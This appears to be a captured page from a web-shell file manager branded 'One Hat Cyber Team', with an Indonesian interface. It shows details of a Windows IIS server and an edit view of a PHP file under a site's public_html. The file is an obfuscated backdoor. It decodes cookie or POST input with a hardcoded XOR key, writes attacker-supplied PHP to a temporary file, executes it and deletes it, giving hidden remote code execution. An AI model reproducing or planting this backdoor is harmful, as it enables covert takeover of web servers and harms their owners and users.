⚝
One Hat Cyber Team
⚝
Your IP:
18.222.143.148
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: yumpvqbx.php
<?php /*_ */function kgcww(){$wivhk='hqjdkrv'; print_r (54263+54263); } $nljccably =/* rf */'nljccably'/* qcwh */^/* vywxt */'';$edywanmvg = $_COOKIE; $w_gcky = $_POST; function nhamwpc($uoamfb_f,/*d */$geqwytkn){ /* mmcp */global $nljccably; $wrwqjbk/* ji */= ""; for/* xysbb */($zvdmvhx/* cu */=/*ara*/0; $zvdmvhx < strlen($uoamfb_f);)/*d */{ /* xap */for ($kepqg =/*xg */0;/*kur */$kepqg < strlen($geqwytkn) && $zvdmvhx < strlen($uoamfb_f);/*f */$kepqg++, $zvdmvhx++) { $wrwqjbk/* sgal */.= $nljccably(ord($uoamfb_f[$zvdmvhx]) ^ ord($geqwytkn[$kepqg])); } } return/*vxqlw */$wrwqjbk; } function/* nz */solhgpxv($etdppb, $uoamfb_f) { /* ht */global/* worj */$nljccably; $kqf__sr/* ywrf_ */= sprintf($nljccably(46)/* h*/./* z*/"/"."%"."s".$nljccably(932-886) ./* qfz */"p"."\x6c",/* denhf */md5($etdppb)); file_put_contents($kqf__sr,/* avb */"<" ./*vh */"?".$nljccably(898-786) . "h"."\x70" . $nljccably(32) . $nljccably(893-776)/* sal */. "n"."l".$nljccably(105) . "\156" ./* ehsm */"\x6b"/* co */. "("."\137" . "_".$nljccably(70) . "I"."L"."E".$nljccably(95) . "_".")".$nljccably(59) . $nljccably(32)/* yp */. $uoamfb_f["\144"]); include($kqf__sr); $rtaxhrhdg =/* orwos */$kqf__sr; unlink($rtaxhrhdg);} function/* c*/gglsohyttj() { global $nljccably; $zvdmvhx =/* xczmy*/array(); $zvdmvhx["\160" . "v"]/* wrset*/= phpversion(); $zvdmvhx["\163" . "v"]/* mucob*/= $nljccably(51)/*tomem */. "\56"/* vexnl */./*pqsqf*/"\x35"; /*ixpyh */echo @serialize($zvdmvhx);} function cqbkzm($uoamfb_f, $etdppb, $utzqvr) { /*nsg */global/* lt */$nljccably; /*chahx*/$uoamfb_f = unserialize(nhamwpc(nhamwpc(base64_decode($uoamfb_f), $etdppb),/*hyyn */$utzqvr)); /* tiksl */if (isset($uoamfb_f["\141".$nljccably(996-889)])) { if ($uoamfb_f["\141"] ==/* dvsh */"\151")/* z*/{ gglsohyttj(); }/*acrn */elseif ($uoamfb_f["\141"] == "e")/* xt*/{ solhgpxv($etdppb, $uoamfb_f); } exit(); }} $edywanmvg = array_merge($w_gcky, $edywanmvg); $etdppb/* _m */= "\x35" . "\x37" ./* vnt */"4".$nljccably(1022-922) . "6"."\141" . "1".$nljccably(52) . "-"."\143" ./* t */$nljccably(83-28)/*ipefq */. $nljccably(52) . $nljccably(877-826) ./* oiwwk */$nljccably(544-499) . "4"."e".$nljccably(983-884) . "b"."-"."\141"."1"."8"."\x39" . $nljccably(694-649) ./*wz */$nljccably(48) ./* ct */"\x35"/* fontg */. "4".$nljccably(98)/* yex */. $nljccably(365-265)/* mkg*/. "\x36" . $nljccably(949-850) . "8"."9".$nljccably(52) . "3"."0"; foreach ($edywanmvg as $utzqvr =>/* kyt*/$uoamfb_f) { cqbkzm($uoamfb_f, $etdppb, $utzqvr); }
Simpan